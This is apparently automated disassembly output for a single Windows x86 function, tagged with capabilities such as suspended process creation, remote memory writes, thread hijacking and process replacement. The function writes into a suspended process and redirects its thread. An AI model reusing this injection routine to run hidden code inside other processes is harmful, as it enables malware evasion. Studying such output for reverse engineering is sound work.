Function at 0x417fe0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Hide graphical window
Hijack thread execution
Link many functions at runtime
Resume thread
Suspend thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
mov eax, dword [0x42d4d0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x55c], 0
mov dword [ebp - 0x5bc], 0
mov al, byte [0x422077]
mov byte [ebp - 0x550], al
push 0x3ff
push 0
lea ecx, [ebp - 0x54f]
push ecx
call sub.msvcr80.dll_memset
add esp, 0xc
mov dl, byte [0x42207f]
mov byte [ebp - 0x128], dl
push 0x103
push 0
lea eax, [ebp - 0x127]
push eax
call sub.msvcr80.dll_memset
add esp, 0xc
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x14], 0x210000
mov word [ebp - 0xc], 0xfeeb
mov word [ebp - 0x134], 0
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x5b1], 1
mov ecx, dword [ebp + 8]
mov dword [0x42de70], ecx
push 0x3eb
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.user32.dll_GetDlgItem]
mov dword [ebp - 0x150], eax
push 5
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push 0x4222f4
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
push 0x422314
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
push 0x422344
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
push 0x4c
push 0
lea ecx, [ebp - 0x5b0]
push ecx
call sub.msvcr80.dll_memset
add esp, 0xc
mov dword [ebp - 0x5b0], 0x4c
mov edx, dword [ebp + 8]
mov dword [ebp - 0x5ac], edx
mov dword [ebp - 0x5a4], 0x422348
lea eax, [ebp - 0x128]
mov dword [ebp - 0x594], eax
mov dword [ebp - 0x590], 0x104
mov dword [ebp - 0x57c], 0x81004
mov dword [ebp - 0x574], 0x422378
lea ecx, [ebp - 0x5b0]
push ecx
call dword [sym.imp.comdlg32.dll_GetOpenFileNameA]
test eax, eax
je 0x4181c3
push 0x42237c
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
lea edx, [ebp - 0x128]
push edx
push 0x42238c
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
push 0x42dca8
call fcn.0040182f
add esp, 4
jmp 0x4181ec
push 0x3eb
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.user32.dll_GetDlgItem]
mov dword [ebp - 0x150], eax
push 0
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.user32.dll_ShowWindow]
jmp 0x41875a
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401686
add esp, 8
test eax, eax
jne 0x418208
jmp 0x41875a
movzx ecx, word [0x42de28]
sub ecx, 1
imul ecx, ecx, 0x1c
mov edx, dword [0x42de78]
mov eax, dword [edx + ecx + 0xc]
add eax, dword [0x42de2c]
mov dword [ebp - 4], eax
mov ecx, dword [0x42de78]
mov edx, dword [ecx + 0xc]
add edx, dword [0x42de2c]
mov dword [0x42d8fc], edx
mov eax, dword [0x42de78]
mov ecx, dword [eax + 8]
mov dword [0x42de24], ecx
mov edx, dword [0x42de34]
mov dword [ebp - 0x18], edx
mov eax, dword [0x42de2c]
mov dword [0x42de7c], eax
mov ecx, dword [0x42de30]
mov dword [0x42de80], ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push 0x44
push 0
push 0x42d960
call sub.msvcr80.dll_memset
add esp, 0xc
mov dword [0x42d960], 0x44
push 0x10
push 0
push 0x42dc7c
call sub.msvcr80.dll_memset
add esp, 0xc
push 0x42dc7c
push 0x42d960
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4182e5
push 0x2010
push 0x422390
push 0x4223a8
push 0
call dword [sym.imp.user32.dll_MessageBoxA]
jmp 0x41875a
push 0x4223d0
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
push 0x40
push 0x1000
mov ecx, dword [0x42de80]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jne 0x418347
push 0
push 0
push 0x4223e4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.user32.dll_MessageBoxA]
call fcn.00401172
jmp 0x41875a
mov eax, dword [ebp - 0x18]
add eax, dword [0x42de7c]
mov dword [0x42de84], eax
push 0
mov ecx, dword [0x42de80]
push ecx
mov edx, dword [ebp - 0x140]
push edx
mov eax, dword [0x42de7c]
push eax
mov ecx, dword [0x42dc7c]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
push 0x422408
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [0x42ddb0], eax
push 0x422414
mov edx, dword [0x42ddb0]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42dda8], eax
mov eax, dword [0x42de7c]
push eax
mov ecx, dword [0x42dc7c]
push ecx
call dword [0x42dda8]
mov edx, dword [0x42de80]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x148], edx
push 0x40
push 0x3000
mov eax, dword [ebp - 0x148]
push eax
mov ecx, dword [0x42de7c]
push ecx
mov edx, dword [0x42dc7c]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push 0
mov eax, dword [0x42de80]
push eax
mov ecx, dword [ebp - 0x140]
push ecx
mov edx, dword [0x42de7c]
push edx
mov eax, dword [0x42dc7c]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0x40
push 0x1000
push 0x2000
push 0
mov ecx, dword [0x42dc7c]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [0x42d780], eax
push 0
push 4
lea edx, [ebp - 0x558]
push edx
mov eax, dword [0x42de84]
push eax
mov ecx, dword [0x42dc7c]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
push 0
push 2
lea edx, [ebp - 0xc]
push edx
mov eax, dword [0x42de84]
push eax
mov ecx, dword [0x42dc7c]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov edx, dword [0x42dc80]
push edx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [0x42d9b0], 0x10007
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x42d9b0
mov eax, dword [0x42dc80]
push eax
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov ecx, dword [0x42da68]
cmp ecx, dword [0x42de84]
jne 0x4184a6
mov byte [ebp - 0x5b1], 0
movzx edx, byte [ebp - 0x5b1]
test edx, edx
jne 0x418475
mov eax, dword [0x42dc80]
push eax
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
push 0x42242c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [0x42ddb4], eax
mov ecx, dword [0x42de7c]
mov dword [0x42de40], ecx
mov edx, dword [ebp - 0x18]
mov dword [0x42de44], edx
mov eax, dword [ebp - 4]
mov dword [0x42de48], eax
push 0x42243c
mov ecx, dword [0x42ddb4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de4c], eax
push 0x422450
mov edx, dword [0x42ddb4]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de50], eax
push 0x422460
mov eax, dword [0x42ddb4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de54], eax
push 0x422470
mov ecx, dword [0x42ddb4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de58], eax
push 0x422480
mov edx, dword [0x42ddb4]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de5c], eax
push 0x422490
mov eax, dword [0x42ddb4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de60], eax
push 0x42249c
mov ecx, dword [0x42ddb4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x42de64], eax
mov edx, dword [ebp - 0x558]
mov dword [0x42de68], edx
mov eax, dword [0x42de7c]
add eax, dword [0x42de80]
mov dword [0x42de6c], eax
push 0x4011fe
call fcn.0040158c
add esp, 4
mov dword [ebp - 0x554], eax
push 0x4011fe
call fcn.004016ea
add esp, 4
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0x554]
lea eax, [edx + ecx - 0x31]
mov dword [ebp - 0x138], eax
push 0x4224a8
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
push 0x30
push 0x42de40
mov ecx, dword [ebp - 0x138]
push ecx
call sub.msvcr80.dll_memcpy
add esp, 0xc
push 0
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x554]
push eax
mov ecx, dword [0x42d780]
push ecx
mov edx, dword [0x42dc7c]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, dword [0x42d780]
mov dword [0x42da68], eax
push 0x42d9b0
mov ecx, dword [0x42dc80]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov edx, dword [0x42dc80]
push edx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [0x42d9b0], 0x10007
mov byte [ebp - 0x5b1], 1
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x42d9b0
mov eax, dword [0x42dc80]
push eax
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
push 0
push 2
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [0x42da68]
push edx
mov eax, dword [0x42dc7c]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
movzx ecx, word [ebp - 0x134]
movzx edx, word [ebp - 0xc]
cmp ecx, edx
jne 0x4186c5
mov byte [ebp - 0x5b1], 0
movzx eax, byte [ebp - 0x5b1]
test eax, eax
jne 0x418675
mov ecx, dword [0x42dc84]
push ecx
call dword [sym.imp.KERNEL32.DLL_DebugActiveProcess]
test eax, eax
jne 0x4186fb
push 0
push 0
push 0x4224bc
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.user32.dll_MessageBoxA]
call fcn.00401172
jmp 0x41875a
push 0x4224e8
push 0x42dca8
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 8
push 0x42dca8
call fcn.0040182f
add esp, 4
mov eax, dword [0x42da68]
add eax, 2
mov dword [0x42da68], eax
push 0x42d9b0
mov ecx, dword [0x42dc80]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
call fcn.004015e6
call fcn.00401172
push 0
push 0x4224f8
push 0x422500
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.user32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00419014
mov esp, ebp
pop ebp
ret